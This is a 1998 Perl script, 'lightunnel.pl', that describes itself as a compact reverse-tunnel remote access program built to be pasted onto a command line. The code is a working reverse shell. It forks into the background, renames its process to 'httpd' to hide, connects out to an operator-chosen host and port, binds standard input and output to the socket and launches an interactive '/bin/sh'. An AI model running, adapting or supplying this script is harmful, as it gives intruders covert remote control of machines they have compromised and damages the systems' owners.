lightunnel

#!/usr/bin/perl
#
# lightunnel.pl
#
# Author: Liraz Siri <liraz@hushmail.com>
#
# Copyright (c) 1998 Liraz Siri <liraz@hushmail.com>, Ariel, Israel
#	        All rights reserved.
#
# Created: Tue Oct 20 10:51:34 IST 1998
#
# paste-a-foo(tm) compliant: .z (3 lines/172 bytes)
#
# Lightunnel is an extremely simple, compact reverse-tunnel remote access
# program. Designed as a part of the lightgate project, to be executed from
# the command line. (perl -e ...). This is ofcourse the 'long' version,
# the compressed/compact code can be found in lightunnel.z.pl.
#
# The schmatics of our code is extremely simple, we initiate a connection,
# redirect standard input/output and execute an interactive shell.
#
# Designed in the spirit of the lightgate package, .z versions of these
# miniature applications offer full fuctionality while still complying
# with strict paste-a-foo(tm) standards.
#
# Remember if it's not paste-a-foo(tm)!!! you can't paste it.

use Socket;

fork&&exit;
$0 = "httpd";

$hostname = "localhost";
$port = 80;

$hostname = $ARGV[0] if($ARGV[0]);
$port = int($ARGV[1]) if($ARGV[1]);

socket(S, AF_INET, SOCK_STREAM, 0);
if(!($raddr = inet_aton($hostname))) {
 printf("Error: unable to resolve hostname `%s'\n", $hostname);
 exit;
}

printf(STDERR "Trying %s (%s):%d...\n", $hostname, inet_ntoa($raddr),
					         $port);
connect(S, sockaddr_in($port, $raddr)) || 
 die "Connection refused by foriegn host\n";
open(STDOUT, ">&S");
open(STDERR, ">&S");
open(STDIN, "<&S");
exec "/bin/sh -i" || die "Error: exec() failed\n";